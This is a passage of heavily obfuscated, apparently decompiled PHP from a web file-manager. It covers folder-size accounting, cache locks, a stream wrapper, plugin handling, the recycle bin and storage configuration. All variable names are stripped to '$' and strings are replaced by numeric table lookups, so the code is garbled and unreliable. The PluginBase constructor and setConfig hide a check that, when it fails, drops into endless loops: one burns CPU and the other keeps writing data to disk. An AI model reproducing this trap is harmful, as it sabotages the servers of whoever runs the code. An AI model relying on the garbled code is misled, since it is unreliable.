= $this->where($)->sum($[78]); $ = intval($) - intval($[$[78]]); } if ($ == 0) { return CacheLock::unlock($); } $ = $this->parentLevelArray($[$[555]]); if (!$) { $ = array(); } $[] = $[$[183]]; $ = array($[183] => array($[462], $)); if ($ < 0) { $[$[78]] = array($[1066], abs($)); } $this->where($)->setAdd($[78], $); CacheLock::unlock($); $ = $[2212] . $[$[180]] . $[4] . $[$[540]]; $ = array($[$[180]], $[$[540]]); TaskRun::timeLimitCall($, $[2213], $, 1.5); } public function folderSizeResetChildren($) { $ =& $_SERVER[]; $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[616] => 1, $[619] => $[$[540]], $[622] => array($[582], $[$[555]] . $ . $[583])); $ = $[2214]; $ = $this->field($)->where($)->select(); $[$[455]] = 0; $ = $this->field($)->where($)->select(); if (!$) { return; } $[] = $; $ = array_to_keyvalue($, $[183]); foreach ($ as $ => $) { $[$][$[2215]] = $[$][$[78]]; $[$][$[78]] = 0; } foreach ($ as $) { $ = $[$[182]] . $[12]; if (!isset($[$])) { continue; } if ($[$[475]] == $[$][$[475]]) { $[$][$[78]] += $[$[78]]; } } foreach ($ as $) { $ = $this->parentLevelArray($[$[555]]); foreach ($ as $) { $ = $ . $[12]; if (!isset($[$])) { continue; } if ($[$[475]] == $[$][$[475]]) { $[$][$[78]] += $[$[78]]; } } } $ = array(); foreach ($ as $) { if ($[$[78]] == $[$[2215]]) { continue; } $[] = array($[183], $[$[183]], $[78], $[$[78]]); } $this->saveAll($); } public function userSpaceReset($ = false) { $ =& $_SERVER[]; $ = $this->where(array($[180] => self::TYPE_USER, $[540] => $, $[455] => 0))->sum($[78]); $ = !$ || $ <= 0 ? 0 : $; Model($[548])->userEdit($, array($[1893] => $)); } public function targetSpaceUpdate($, $) { $ =& $_SERVER[]; if (!$) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($, $); if ($ == self::TYPE_USER) { Model($[548])->userEdit($, array($[1893] => $)); } else { if ($ == self::TYPE_GROUP) { Model($[556])->groupEdit($, array($[1893] => $)); } } } public function targetSpaceSize($, $) { $ =& $_SERVER[]; $ = 0; $ = $this->targetSourceRoot($, $, !0); foreach ($ as $) { if (!$) { continue; } $ += floatval($[$[78]]); $ = array($[622] => array($[582], $[565] . $[$[183]] . $[583])); $ = Model($[473])->field($[461])->where($)->select(); $ = array_to_keyvalue($, $[12], $[183]); $ = array_unique(array_filter($)); if ($) { $ = array($[461] => array($[462], $)); $ += floatval($this->where($)->sum($[78])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $) { $ =& $_SERVER[]; $ = $[2216] . $ . $[11] . $; $ = Cache::get($); if ($) { return $; } $ = array($[616] => 0); if ($ != !1) { $[$[540]] = $; $[$[180]] = $; } $ = array(); $[$[2217]] = array($[2218] => LNG($[2217]), $[2219] => $this->where($)->count(), $[587] => $this->where($)->sum($[78])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $[$[456]] = $this->fileTypeWhere($); $[$] = array($[2218] => $[$[32]], $[2219] => $this->where($)->count(), $[587] => $this->where($)->sum($[78])); } Cache::set($, $, 1200); return $; } public function fileNameExist($, $) { $ =& $_SERVER[]; $ = $this->field($[2220])->where(array($[182] => $, $[32] => $, $[475] => 0))->find(); return is_array($) ? $[$[183]] : !1; } public function childList($) { $ =& $_SERVER[]; $ = $[2193] . $; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ = array($[182] => intval($), $[475] => 0); $ = $this->where($)->select(); $ = $ ? $ : array(); self::$cacheChildList[$] = $; foreach ($ as $) { $ = $[503] . $[$[183]]; self::$cacheSourceInfo[$] = $; } return $; } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $ = get_path_ext($); $ = $ ? basename($, $[10] . $) . $[2221] . $ : $ . $[430]; $ = array($[182] => $, $[475] => 0, $[32] => array($[429], $)); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } public function fileNameAutoGet($, $, $, $) { $ =& $_SERVER[]; if ($ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $ ? $[12] : $; for ($ = 1; $ <= count($) + 1; $++) { $ = substr($, 0, strlen($) - strlen($)); $ = $ . "({$}){$}"; if (!in_array_not_case($, $)) { return $; } } } } goto C; F: class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[395]]; self::$timeout = $[$[886]] ? $[$[886]] : 10; $ = _get($GLOBALS[$[6]], $[887]); $ = $[$[872]] ? $[$[872]] : $[216]; if ($ == $[21] && $ == $[13]) { $ = $[216]; } switch ($) { case $[875]: self::$handle = new CacheLockRedis(); break; case $[876]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[216]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[888], $[889]); } return self::$handle; } private static function key($) { return $_SERVER[][890] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($, $) { return self::lock($, $, !0); } public static function lock($, $ = false, $ = false) { $ =& $_SERVER[]; $ = self::init(); $ = self::key($); $ = $ ? $ : self::$timeout; $ = timeFloat(); $ = $->lock($, $); $ = timeFloat(); if (!$) { $ = "lock error;key={$};time={$};" . self::$errorMsg . $[73] . get_caller_msg(); $ = LNG($[891]) . "({$}s)." . LNG($[892]); $ .= $[893]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[894] . self::$errorMsg; } write_log($[895] . sprintf($[896], timeFloat() - $) . $[897] . $ . $[898] . error_get_last(), $[889]); show_json($, !1); } if (!$) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $, 3); write_log($[899] . $ . $[900] . $, $[889]); } return $; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[901] . $, $[889]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ = self::init(); $ = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $->unlock($); if (!$) { $ = !0; write_log($[902] . $ . $[73] . get_caller_msg(), $[889]); continue; } write_log($[902] . $, $[889]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[903] . $ . $[904] . ACTION, $[889]); } } public static function fileLock($) { $ =& $_SERVER[]; if (!$GLOBALS[$[905]]) { $GLOBALS[$[905]] = array(); } $GLOBALS[$[905]][$] = !1; $ = fopen(DATA_PATH . $ . $[906], $[907]); if (!$) { return !1; } $GLOBALS[$[905]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($[908], !1); return !1; } public static function fileUnlock($) { $ =& $_SERVER[]; $ = $GLOBALS[$[905]][$]; if (!$) { return; } $GLOBALS[$[905]][$] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!$GLOBALS[$[905]]) { return; } foreach ($GLOBALS[$[905]] as $ => $) { if (!$) { continue; } $GLOBALS[$[905]][$] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$[905]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[395]]; self::$cachePath = $[$[216]][$[86]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ = 0) { $ =& $_SERVER[]; $ = microtime(!0); $ = $ + $ + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[909] . md5($) . $[906]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ = fopen($, $[910]); if (!$) { return !1; } $ = flock($, LOCK_EX | LOCK_NB); self::$caches[$] = array($[911] => $, $[216] => $); fwrite($, $); clearstatcache(); if ($ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($) { $ =& $_SERVER[]; $ = rtrim(self::$cachePath, $[8]) . $[909] . md5($) . $[906]; return file_exists($); } public function unlock($) { $ =& $_SERVER[]; $ = self::$caches[$]; if (!$) { return; } @flock($[$[911]], LOCK_UN); @fclose($[$[911]]); @unlink($[$[216]]); unset(self::$caches[$]); } } goto D; a: class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][86]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $ =& $_SERVER[]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else { if ($ == SEEK_END) { $this->pose = $this->info[$[78]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[78]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][78]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $) { $ =& $_SERVER[]; $ = $this->info($); return array($[1542] => 0, $[1543] => 0, $[16] => 32768 + 511, $[1544] => 0, $[1545] => 0, $[1546] => 0, $[1547] => 0, $[78] => $[$[78]], $[1548] => $[$[1414]], $[1504] => $[$[87]], $[1503] => $[$[217]], $[1549] => 0, $[1550] => 0); } static $fileInfo = array(); public function info($) { $ = $_SERVER[][1551]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($)) != $) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($))); return self::$fileInfo[$]; } public static function read($, $, $) { if (!isset(self::$_fopenCache[$])) { $ = new StreamWrapperIO(); $->stream_open($); self::$_fopenCache[$] = $; } $ = self::$_fopenCache[$]; return $->fileSubstr($, $); } public static function _read($, $, $) { $ =& $_SERVER[]; $ = fopen($, $[1418]); if (!$) { return $[12]; } $ = 8192; fseek($, $, SEEK_SET); $ = $[12]; $ = 0; while ($ < $) { $ = min($, $ - $); $ .= fread($, $); $ += $; } fclose($); return $; } public function fileSubstr($, $) { $ =& $_SERVER[]; $ = $this->info[$[78]]; $ = $; $ = $; if ($ < 0) { $ = $ + $; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if ($ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("ioFileRead error! start={$};length={$}; size={$};"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ = 0; $ = $[12]; foreach ($ as $ => $) { $ = intval($); $ = $ + strlen($); if ($ >= $) { continue; } if ($ >= $ && $ + $ <= $) { return substr($, $ - $, $); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1552], $[1553] . count($) . ";start={$},length={$};pose:{$}~{$}"); throw new Exception($[1554]); } $ = intval($ / $) * $; $ = ceil(($ + $) / $) * $ - $; $ = IO::fileSubstr($this->path, $, $); $[$ . $[12]] = $; ksort($); $ = substr($, $ - $, $); return $; } private function log($, $) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1555], $, $this->info[$[32]], $, $), $[1233]); } } class Message { function __construct() { } public function send($ = '', $ = array(), $ = "text") { $ =& $_SERVER[]; $ = array($[33] => $[1556], $[799] => $); if (in_array($, array($[1556], $[1557]))) { $[$[33]] = $; } $ = array($[549] => isset($[$[549]]) ? $[$[549]] : $[12], $[632] => isset($[$[632]]) ? $[$[632]] : $[12]); if (empty($) || empty($[$[549]]) && empty($[$[632]])) { return !1; } $ = array($[1497] => $, $[1558] => $); Hook::trigger($[1559], $); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; if (!isset($_SERVER[$[922]]) || !isset($_SERVER[$[923]])) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[462]]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1560]); $this->pluginName = str_replace($[1560], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1561] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1562]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1562]] . $this->pluginName . $[8]; $ = $config[$[1563]]; if ($ && strpos($[50] . $ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1564]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1565]); } protected function assign($, $ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[]; $ = $this->appPackage(); $ = $[12]; if (isset($[$[460]])) { if (isset($[$[460]][$[1566]])) { $ = $[1567] . $[$[460]][$[1566]] . $[1568]; } else { if ($[$[460]][$[1569]]) { $ = $[1570] . $[$[460]][$[1569]] . $[1571]; } } } return $; } final function fileCanView($) { $ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $[1572] . rawurlencode(this_url()); show_tips(LNG($[1573]) . $[1574] . $ . $[1575] . LNG($[1576]) . $[1577], !1); } if (!Action($[1578])->authCan($[1579])) { show_tips(LNG($[1580]) . $[1581], !1); } ActionCall($[1582], $); } final function isShare($) { $ = KodIO::parse($); return $[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[][1225])->linkOut($); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1225])->link($); } final function filePath($, $ = true, $ = false) { $ =& $_SERVER[]; $ = $this->filePathGet($, $); if (!$this->fileInfo) { show_tips(LNG($[107]), !1); } if ($ && isset($this->fileInfo[$[511]]) && $this->fileInfo[$[511]]) { $ = Model($[514])->fileInfo($this->fileInfo[$[511]]); if (!$ || !IO::exist($[$[86]])) { show_tips(LNG($[107]) . $[1583]); } } Hook::trigger($[1584], $); return $; } final function filePathGet($, $ = true) { $ =& $_SERVER[]; if ($ = $this->checkSharePath($, $)) { return $; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$[1585]]) && isset($[$[220]])) { $ = Mcrypt::decode($[$[220]], Model($[815])->get($[816])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$[1586]] = $; $this->cachePath = $this->pluginCachePath($[12], $); return $; } } $ = $this->_cacheHttpFile($, $); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($[12], $); } return $; } final function _cacheHttpFile($, $ = true) { $ =& $_SERVER[]; $ = parse_url_query($); $ = get_path_ext($); if (isset($[$[32]]) && $[$[32]]) { $ = get_path_ext($[$[32]]); } $ = hash_path($) . $[10] . $; $this->cachePath = $this->pluginCachePath($ ? $ : $[12]); $ = IO::fileNameExist($this->cachePath, $); if ($) { return KodIO::make($); } $ = rtrim($this->cachePath, $[8]) . $[8] . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function checkSharePath($, $ = true) { $ =& $_SERVER[]; if (!$this->isShare($)) { return !1; } $ = Action($[1225])->sharePathInfo($); if (!is_array($) || !isset($[$[86]])) { show_json(LNG($[1587]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $); return $[$[86]]; } final function pluginCachePath($ = '', $ = false) { $ =& $_SERVER[]; if ($ && is_array($this->fileInfo)) { $ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTEM_TEMP . $[1588] . $this->pluginName . $[8] . $, $[8]); $ = IO::infoFullSimple($); $ = $ && is_array($) ? $[$[86]] : $[12]; if (!$) { $ = IO::mkdir($); } return $; } final function pluginCacheFileSet($, $ = '') { $ =& $_SERVER[]; $ = IO::infoFullSimple($); if (!$) { return IO::mkfile($, $, REPEAT_REPLACE); } IO::setContent($[$[86]], $); return $[$[86]]; } final function pluginLocalFile($ = '') { $ =& $_SERVER[]; $ = TEMP_FILES . "{$this->pluginName}/"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $ = IO::info($); $ = $[1589] . KodIO::hashPath($) . $[10] . $[$[177]]; if (!checkExtSafe($)) { $ = $ . $[1257]; } $ = $ . $; if (@file_exists($)) { return $; } return IO::copy($, $, 0, $); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $[1590]); $this->parseLang($); $ = json_decode_force($); if (!$) { return array(); } $ = Hook::trigger($[1591], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public function packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1592]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1593]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1594]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($) { $ =& $_SERVER[]; $ = file_get_contents_nossl($); $ = array($[1595], $[1596], $[1597], $[1598], $[1599], $[1600], $[1601]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[91]][$[1602]]); foreach ($this->echoJsAssignArr as $ => $) { $[] = $[1603] . $ . $[1604]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($, $[1605])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($[1605], $, $); } if (strstr($, $[1606])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($[1606], $, $); } $ = str_replace($, $, $); return $; } private function parseLang(&$) { $ =& $_SERVER[]; $ = $[1607]; if (!strstr($, $)) { return; } preg_match_all($[1608], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -4); $ = LNG($); $[] = $; $[] = str_replace(array($[248], $[1129], $[388], $[120]), array($[53], $[53], $[12], $[1609]), $); } $ = str_replace($, $, $); } private function parseConfig(&$) { $ =& $_SERVER[]; $ = $[1610]; if (!strstr($, $)) { return; } preg_match_all($[1611], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ = str_replace($, $, $); } private function parsePackage(&$) { $ =& $_SERVER[]; $ = $[1612]; if (!strstr($, $)) { return; } preg_match_all($[1613], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ = str_replace($, $, $); } final function echoFile($, $ = false) { $ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $[1614]) { echo $[1615] . $this->pluginName . $[8] . $ . $[1616]; if (!file_exists($)) { echo $[1617]; return; } } $ = $this->parseFile($); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($)) { $ = str_replace(array_keys($), array_values($), $); } echo $[248] . $; } private function checkVersion() { $ =& $_SERVER[]; $ = $this->appPackage(); $ = $this->getConfig(); if ($[$[1618]] == $[$[1592]]) { return; } $this->regist(); $this->setConfig(array($[1618] => $[$[1592]])); } final function initLang() { $ =& $_SERVER[]; $ = $[1619]; $ = $this->pluginPath . $[1620]; $ = I18n::getType(); $ = array(); if (file_exists($ . $ . $[884])) { $ = (include $ . $ . $[884]); } else { if ($ == $[1621] && !file_exists($ . $ . $[884]) && file_exists($ . $[1622])) { $ = (include $ . $[1622]); } else { if (file_exists($ . $ . $[884])) { $ = (include $ . $ . $[884]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($) { $ =& $_SERVER[]; $ = $_SERVER[$[926]] . $[927]; $ = $[931]; if ($_SERVER[$[922]] != $($)) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $ = $[924]; $(); $ = $[1623]; $ = json_encode($GLOBALS[$[1624]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "pluginAuth") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($_SERVER[][1625], $[$]); } public function url($, $ = '', $ = true) { $ =& $_SERVER[]; $ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $ . $[432] . $; if (substr($, 0, 4) == $[151] || substr($, 0, 2) == $[1405]) { $ = $ . $[1626] . $; } else { if ($ == $[12]) { $ = $this->pluginHost . $ . $[1626] . $; } else { if ($ === $[77]) { $ = $this->pluginHost . $; } else { if ($ == $[1627]) { $ = STATIC_PATH . $ . $[1626] . $; } else { if ($ == $[1628]) { $ = APP_HOST . $[1629] . $ . $[1626] . $; } else { if (isset($[$])) { $ = $[$] . $ . $[1626] . $; } } } } } } if (!$) { return $; } echo $; } public function link($ = false, $ = '') { $ =& $_SERVER[]; if (!$) { $this->link($[1630], $[1628]); $this->link($[1631], $[1627]); $this->link($[1632], $[1627]); $this->link($[1633], $[1627]); $this->link($[1634], $[1627]); return; } $ = $this->url($, $, !1); if (substr($, -3) == $[1635]) { echo $[1636] . $ . $[1637] . $[248]; } else { if (substr($, -4) == $[1638]) { echo $[1639] . $ . $[1640] . $[248]; } } } } goto e; C: class SourceRecycleModel extends ModelBase { protected $tableName = "io_source_recycle"; protected $dataAuto = array(array("createTime", "time", "insert", "function")); public function listData($ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->where(array($[1696] => $))->select(); return array_to_keyvalue($, $[12], $[183]); } public function moveToRecycle($) { $ =& $_SERVER[]; $ = Model($[1384]); $ = $->sourceInfo($); if (!$ || $[$[475]] == $[90]) { return; } $ = array($[461] => $, $[1696] => USER_ID, $[618] => $[$[180]], $[619] => $[$[540]], $[622] => $[$[555]]); $this->add($); $this->recycleMove($, 1); if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $->where($)->setField($[475], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = Model($[1384]); $ = $this->listData($); $ = $ === !1 ? !1 : $; $ = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $->sourceInfo($); $->remove($, !1); $ = $[$[180]] . $[11] . $[$[540]]; $[$] = array($[618] => $[$[180]], $[540] => $[$[540]]); $this->where(array($[183] => $))->delete(); } foreach ($ as $) { $->targetSpaceUpdate($[$[180]], $[$[540]]); } } public function restore($ = false) { $ = $this->listData(); $this->_restoreSource($, $); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($, $) { $ =& $_SERVER[]; $ = Model($[1384]); $ = $ == !1 ? !1 : $; if (!$) { return !0; } $ = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $->sourceInfo($); $ = $->sourceInfo($[$[182]]); if ($[$[475]] == $[90]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $->where($)->setField($[475], 0); $this->restoreFolderChildren($, $); } $this->where(array($[183] => $))->delete(); $->folderSizeReset($[$[182]]); $[] = $[$[182]]; if ($[$[455]] == $[90]) { $[] = $; } $->lockMoveEnd($); } $->updateModifyTime($); } private function restoreFolderChildren($, $) { $ =& $_SERVER[]; $ = Model($[1384]); $ = array($[183] => array($[7], array())); foreach ($ as $) { if ($ == $) { continue; } if (!$->isParentOf($, $)) { continue; } $ = $->sourceInfo($); if ($[$[455]] == $[90]) { $[] = array($[622] => array($[582], $[$[555]] . $ . $[583])); } else { $[$[183]][1][] = $; } } if (!$[$[183]][1]) { unset($[$[183]]); } if (!$) { return; } if (is_array($[$[183]]) && is_array($[$[183]][1])) { $[$[183]][1] = array_unique($[$[183]][1]); } $[$[1051]] = $[2002]; $->where($)->setField($[475], 1); } private function recycleMove($, $ = 1) { $ =& $_SERVER[]; $ = Model($[1384]); $ = Model($[2222]); $ = array($[183] => $); if ($) { $->where($)->setField($[475], 1); $->eventRecycle($, $[2223]); } else { $ = $->where($)->find(); $ = $[$[455]] == $[90]; $ = $->fileNameAuto($[$[182]], $[$[32]], REPEAT_RENAME_FOLDER, $); if ($ != $[$[32]]) { $->rename($, $); } $->where($)->setField($[475], 0); $->eventRecycle($, $[2224]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "System.sourceSecretList"; public $field = array("sourceID", "typeID", "createUser"); } class StorageModel extends ModelBaseLight { public $optionType = "System.storageList"; public $field = array("name", "sizeMax", "system", "default", "driver", "config"); public function listData($ = false, $ = "modifyTime", $ = false) { $ =& $_SERVER[]; $ = parent::listData($, $, $); if ($) { return $; } $ = $this->ioSizeUseGet(array_to_keyvalue($, $[12], $[445])); foreach ($ as $ => $) { unset($[$][$[6]]); $[$][$[1893]] = isset($[$[$[445]]]) ? $[$[$[445]]] : 0; } return $; } public function ioSizeUseGet($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = $[2225] . implode($[50], $); $ = Cache::get($); if ($) { return $; } $ = array($[862] => $[445], $[2226] => $[78]); $ = array($[862] => array($[7], $)); $ = Model($[834])->field($)->where($)->group($[862])->select(); $ = array_to_keyvalue($, $[445], $[78]); Cache::set($, $, 600); return $; } public function getConfig($) { $ = parent::listData($); return json_decode($[$_SERVER[][6]], !0); } public function update($, $) { $ =& $_SERVER[]; $ = $[$[32]]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$]) && $[$][$[445]] != $) { return !1; } $this->checkPwd($, $); if (isset($[$[2227]]) && $[$[2227]] == $[90]) { $this->checkConfig($); } unset($[$[2227]]); $ = parent::update($, $); if ($ && $[$[37]]) { $ = 0; foreach ($ as $) { if ($[$[37]] && $[$[445]] != $) { $ = $[$[445]]; parent::update($[$[445]], array($[37] => 0)); } } $this->updateBackup($, $); } return $; } public function add($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$[$[32]]])) { return !1; } $this->checkConfig($); $ = parent::insert($); if ($ && $[$[37]]) { foreach ($ as $) { if ($[$[37]]) { parent::update($[$[445]], array($[37] => 0)); } } } return $; } public function updateBackup($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[794])->config(); if ($[$[1675]] != $[90] || $[$[796]] != $) { return; } $ = Model($[815])->get($[825]); $ = json_decode($, !0); if (!$) { return; } $[$[796]] = $; Model($[815])->set(array($[825] => $)); } public function checkPwd($, &$) { $ =& $_SERVER[]; if (empty($[$[6]])) { return; } $ = json_decode($[$[6]], !0); $ = $[12]; $ = array($[2228], $[2229], $[940]); foreach ($ as $) { if 